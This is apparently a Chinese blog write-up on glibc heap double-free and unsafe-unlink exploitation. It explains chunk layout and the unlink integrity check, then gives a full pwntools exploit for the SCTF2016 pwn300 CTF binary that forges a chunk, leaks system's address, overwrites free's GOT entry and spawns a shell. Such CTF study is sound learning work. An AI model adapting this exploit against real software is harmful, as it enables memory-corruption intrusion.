最近一段时间重新整理了一下doublefree的资料,在原来的unlink的基础上更进了一步,算是把doublefree完全弄懂了
0x01 chunk结构
首先是chunk的结构
1 2 3 4 5 6 7 8 9 10 11 12
| struct malloc_chunk { INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize; };
|
在chunk被分配的时候prev_size只有在前一个chunk的状态是free的时候才会被使用,用来说明前一个chunk的大小,size是指当前chunk的大小,如果前一块还在被使用,这4个字节会被前一块chunk共享,也就是说前一块chunk多了4字节。同时也是通过这两个size来识别该chunk是出于use状态还是状态,当时该chunk是出于use状态时需要在原来size的基础上加一。
比如
一个128(0x80)大小的块,它的前一块chunk是已分配
—————————–
0x00000080 | 0x1 = 0x00000081
一个128(0x80)大小的块,它的前一块chunk是未分配
—————————–
0x00000080 | 0x0 = 0x00000080
而后面的四个指针,很明显是用来组成一个双链表
由此可以知,通过将自身chunk的地址+size就能得到下一个chunk的地址,然后检查它的头部最低位就能得到自己的状态
0x02 unlink
1 2 3 4 5 6
| #define unlink(P, BK, FD) { FD = P->fd; BK = P->bk; FD->bk = BK; BK->fd = FD; }
|
这是很久之前的unlink代码,当free一个chunk的时候,系统同时会检查该chunk的前一个和后一个chunk是不是free状态的,如果是就会将两个chunk合并成一个更大的free状态的chunk,然后这个更大的chunk会被unlink,并加入到unsorted_bin当中
如今该unlink的代码已经不再使用,在unlink的同时加上了一个判断
1 2 3 4 5 6 7 8 9 10 11
| void unlink(malloc_chunk *P, malloc_chunk *BK, malloc_chunk *FD) { FD = P->fd; BK = P->bk; if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr(check_action,"corrupted double-linked list",P); else { FD->bk = BK; BK->fd = FD; } }
|
关键代码FD->bk != P || BK->fd != P
在脱链表时会检查当前chunk是否真的在链表内,如果它前驱的后继不是自己或者后继的前驱不是自己,就直接抛错误。
于是
我们就想到了伪造一个chunk,使FD->bk和BK->fd=P,这可以通过unlink检查
如果将unlink代码写的更加直白一点就是
1 2 3 4
| FD = *P + 8; BK = *P + 12; FD + 12 = BK; BK + 8 = FD;
|
于是我们可以构造
1 2
| fd = *p - 8 bk = *p - 12
|
0x03 实例
去做了0xmuhe师傅博客上的题目还有sctf2016的pwn300,都是doublefree的题目,两道题没有啥区别,本质上就是伪造一个chunk
1
| payload = prev_size + size + *p - 8 + *p -12 + data + prev_size + size
|
在成功unlink以后将*p的指针指向free_got,在将其覆盖为system的地址就可以getshell了
附上sctf2016 pwn300的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| from pwn import * free_got = 0x08049d18 chunk_addr = 0x08049D80 p = process("./pwn300") def launch_gdb(): context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] gdb.attach(proc.pidof(p)[0]) def add_chunk(index): p.sendline('1') p.recvuntil('How many flowers you want :') p.sendline(str(index)) def set_chunk(index,data): p.sendline('3') p.recvuntil("Input the order's num:") p.sendline(str(index)) p.recvuntil('Order content:') p.sendline(data) def print_chunk(index): p.sendline('2') p.recvuntil("Input the order's num:") p.sendline(str(index)) return p.recvline() def delete_chunk(index): p.sendline('4') p.recvuntil("Input the order's num:") p.sendline(str(index)) def leak(addr): data = 'a'*12 + p32(chunk_addr-12) + p32(addr) set_chunk(0,data) data = print_chunk(1)[0:4] print ("leaking "+hex(addr)+" --> " + data.encode('hex')) return data add_chunk(128) add_chunk(128) add_chunk(128) add_chunk(128) set_chunk(3,'/bin/sh') launch_gdb() payload = '' payload += p32(0)+p32(0x89) + p32(chunk_addr-0xc) +p32(chunk_addr-0x8)+'a'*(0x80-4*4) + p32(0x80) +p32(0x88) set_chunk(0,payload) delete_chunk(1) pwn_elf = ELF("./pwn300") d = DynELF(leak,elf=pwn_elf) system_addr = d.lookup('system','libc') print hex(system_addr) set_chunk(0,'a'*12+p32(chunk_addr-0xc)+p32(free_got)) set_chunk(1,p32(system_addr)) delete_chunk(3) p.interactive()
|
这两道题和exp已经放在我的github上了
0x04 后记
在学习的过程中参考了相当多的资料,堆溢出学习的路还很远,慢慢来吧
参考资料:
https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/comment-page-1/
https://etenal.me/archives/1121
http://www.cnblogs.com/0xmuhe/p/5190132.html
http://wooyun.jozxing.cc/static/drops/tips-16610.html